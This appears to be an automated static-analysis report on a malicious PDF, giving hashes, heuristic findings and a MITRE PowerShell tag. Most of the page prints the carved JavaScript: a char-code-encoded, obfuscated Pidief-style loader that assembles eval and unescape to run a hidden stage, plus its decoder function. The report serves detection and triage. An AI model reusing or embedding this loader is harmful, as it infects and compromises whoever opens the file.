Malicious PDF — malware analysis report

Static analysis result for SHA-256 f581078d247d71ef…

MALICIOUS

PDF

4.0 KB First seen: 2026-05-07
MD5: 131623b2e8d87d5e47acade0fb444f82 SHA-1: fe758105bb893949b3410ebdcd3dba1ec3da94fd SHA-256: f581078d247d71efdaefb838903b3f15545b5b0b1bee8abf25e64ceb47ab28b4
156 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The ML_NYX_PDF_MALICIOUS classifier strongly suggests malicious intent. The embedded JavaScript file, javascript_obj0005_000.js, is likely responsible for executing malicious code, potentially downloading a second-stage payload. The use of String.fromCharCode further suggests obfuscation within the JavaScript.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a large numeric character-code array feeding an auto-run script) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
            for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0005_000.js pdf-javascript-stream PDF /JS object 5 at offset 0x107 7924 bytes
SHA-256: f904be3951f7da5b3d94fbb78082f626f465154eeb595408250384f6d6758d34
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
sourceCode = "10,10,102,117,110,99,116,105,111,110,32,100,100,100,115,100,100,115,103,100,114,118,115,115,97,102,100,103,100,100,100,100,100,40,105,105,111,115,111,111,111,115,111,111,115,41,10,123,10,105,102,40,105,105,111,115,111,111,111,115,111,111,115,32,61,61,49,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,41,32,114,101,116,117,114,110,32,40,32,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,32,32,34,34,43,32,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,32,32,32,32,97,112,112,91,34,118,34,43,34,105,101,34,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,43,34,34,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,43,34,119,101,114,84,121,112,101,34,93,91,49,93,32,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,32,32,32,41,59,10,105,102,40,105,105,111,115,111,111,111,115,111,111,115,32,61,61,50,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,41,32,114,101,116,117,114,110,32,40,32,32,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,32,34,34,43,32,32,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,32,32,32,34,37,120,34,46,114,101,112,108,97,99,101,40,47,120,47,44,34,34,41,32,32,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,32,32,41,59,10,105,102,40,105,105,111,115,111,111,111,115,111,111,115,32,61,61,51,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,41,32,114,101,116,117,114,110,32,40,32,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,32,32,34,34,43,32,32,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,32,32,32,32,32,32,34,97,120,34,46,114,101,112,108,97,99,101,40,47,120,47,44,34,34,41,32,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,41,59,10,125,10,10,118,97,114,32,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,85,67,117,102,83,104,97,99,81,80,55,55,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,32,61,32,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,116,104,105,115,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,59,32,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,10,10,118,97,114,32,122,104,101,112,86,109,80,107,120,83,56,57,32,61,91,34,34,44,100,100,100,115,100,100,115,103,100,114,118,115,115,97,102,100,103,100,100,100,100,100,40,49,41,44,100,100,100,115,100,100,115,103,100,114,118,115,115,97,102,100,103,100,100,100,100,100,40,50,41,44,100,100,100,115,100,100,115,103,100,114,118,115,115,97,102,100,103,100,100,100,100,100,40,51,41,44,34,34,44,34,34,44,34,111,34,44,34,115,34,44,34,99,34,44,34,105,34,44,34,103,34,44,34,116,34,44,34,114,34,44,34,117,34,44,34,110,34,44,34,112,34,93,59,10,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,10,10,118,97,114,32,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,85,67,117,102,83,104,97,99,81,80,55,55,122,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,32,61,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,32,97,112,112,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,59,32,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,10,118,97,114,32,110,68,78,72,98,79,122,67,115,97,49,32,61,32,122,104,101,112,86,109,80,107,120,83,56,57,91,49,93,59,10,118,97,114,32,110,69,110,81,113,121,116,80,70,116,51,32,61,32,122,104,101,112,86,109,80,107,120,83,56,57,91,50,93,59,10,118,97,114,32,68,121,118,72,98,118,107,104,122,108,49,55,32,61,32,85,67,117,102,83,104,97,99,81,80,55,55,91,110,68,78,72,98,79,122,67,115,97,49,43,34,118,34,43,122,104,101,112,86,109,80,107,120,83,56,57,91,51,93,43,34,108,34,93,59,10,118,97,114,32,109,111,77,115,69,65,112,99,118,117,49,56,32,61,32,85,67,117,102,83,104,97,99,81,80,55,55,91,122,104,101,112,86,109,80,107,120,83,56,57,91,49,51,93,43,122,104,101,112,86,109,80,107,120,83,56,57,91,49,52,93,43,110,68,78,72,98,79,122,67,115,97,49,43,34,115,34,43,122,104,101,112,86,109,80,107,120,83,56,57,91,56,93,43,122,104,101,112,86,109,80,107,120,83,56,57,91,51,93,43,122,104,101,112,86,109,80,107,120,83,56,57,91,49,53,93,43,110,68,78,72,98,79,122,67,115,97,49,93,59,10,10,10,68,121,118,72,98,118,107,104,122,108,49,55,40,34,118,34,43,122,104,101,112,86,109,80,107,120,83,56,57,91,51,93,43,34,114,32,112,97,71,81,111,119,88,117,70,68,49,53,32,61,32,47,34,43,122,104,101,112,86,109,80,107,120,83,56,57,91,55,93,43,122,104,101,112,86,109,80,107,120,83,56,57,91,56,93,43,122,104,101,112,86,109,80,107,120,83,56,57,91,56,93,43,34,47,34,43,122,104,101,112,86,109,80,107,120,83,56,57,91,57,93,43,122,104,101,112,86,109,80,107,120,83,56,57,91,49,48,93,43,34,59,34,41,59,10,10,118,97,114,32,86,104,65,77,85,65,69,103,89,119,49,48,32,61,32,85,67,117,102,83,104,97,99,81,80,55,55,122,91,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,32,32,32,32,32,34,100,34,43,122,104,101,112,86,109,80,107,120,83,56,57,91,55,45,49,93,43,122,104,101,112,86,109,80,107,120,83,56,57,91,55,43,49,93,93,59,10,10,86,104,65,77,85,65,69,103,89,119,49,48,91,122,104,101,112,86,109,80,107,120,83,56,57,91,55,93,43,34,121,110,34,43,122,104,101,112,86,109,80,107,120,83,56,57,91,56,93,43,34,65,34,43,122,104,101,112,86,109,80,107,120,83,56,57,91,49,52,93,43,122,104,101,112,86,109,80,107,120,83,56,57,91,49,52,93,43,34,111,34,43,122,104,101,112,86,109,80,107,120,83,56,57,91,49,49,93,43,34,83,34,43,122,104,101,112,86,109,80,107,120,83,56,57,91,56,93,43,122,104,101,112,86,109,80,107,120,83,56,57,91,51,93,43,34,110,34,93,40,41,59,10,10,118,97,114,32,119,116,119,75,65,89,89,65,97,82,52,32,61,32,86,104,65,77,85,65,69,103,89,119,49,48,91,122,104,101,112,86,109,80,107,120,83,56,57,91,49,48,93,43,110,68,78,72,98,79,122,67,115,97,49,43,34,116,65,110,110,34,43,122,104,101,112,86,109,80,107,120,83,56,57,91,54,93,43,122,104,101,112,86,109,80,107,120,83,56,57,91,49,49,93,43,122,104,101,112,86,109,80,107,120,83,56,57,91,55,93,93,40,48,41,59,10,10,118,97,114,32,97,121,87,118,80,112,72,106,65,104,53,32,61,32,119,116,119,75,65,89,89,65,97,82,52,91,48,93,91,122,104,101,112,86,109,80,107,120,83,56,57,91,55,93,43,34,117,98,106,34,43,110,68,78,72,98,79,122,67,115,97,49,43,122,104,101,112,86,109,80,107,120,83,56,57,91,56,93,43,122,104,101,112,86,109,80,107,120,83,56,57,91,49,49,93,93,59,10,10,118,97,114,32,70,110,109,115,69,99,114,120,115,120,54,32,61,32,97,121,87,118,80,112,72,106,65,104,53,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,91,122,104,101,112,86,109,80,107,120,83,56,57,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,91,49,49,43,49,93,43,110,68,78,72,98,79,122,67,115,97,49,43,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,122,104,101,112,86,109,80,107,120,83,56,57,91,49,53,93,43,34,108,34,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,43,122,104,101,112,86,109,80,107,120,83,56,57,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,91,51,93,43,122,104,101,112,86,109,80,107,120,83,56,57,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,91,56,93,43,110,68,78,72,98,79,122,67,115,97,49,93,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,40,112,97,71,81,111,119,88,117,70,68,49,53,44,110,69,110,81,113,121,116,80,70,116,51,41,59,10,10,118,97,114,32,113,112,113,110,122,114,76,88,115,109,55,61,109,111,77,115,69,65,112,99,118,117,49,56,40,109,111,77,115,69,65,112,99,118,117,49,56,40,70,110,109,115,69,99,114,120,115,120,54,41,41,59,10,68,121,118,72,98,118,107,104,122,108,49,55,40,113,112,113,110,122,114,76,88,115,109,55,41,59,10,10,105,102,40,106,41,123,10,102,117,110,99,116,105,111,110,32,114,117,110,40,41,123,117,116,105,108,91,118,118,118,50,93,40,118,118,118,44,32,110,101,119,32,68,97,116,101,40,41,41,59,125,10,114,117,110,40,41,59,114,117,110,40,41,59,10,116,114,121,32,123,116,104,105,115,91,118,118,118,52,93,91,118,118,118,51,93,40,110,117,108,108,41,59,125,32,99,97,116,99,104,40,101,41,32,123,125,10,114,117,110,40,41,59,10,125"; 
function decrypt(str, jump){
var result = "";
var list = str.split(',');
        for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
        return result;
        }

Open this report in the interactive analyzer, or submit your own file for analysis.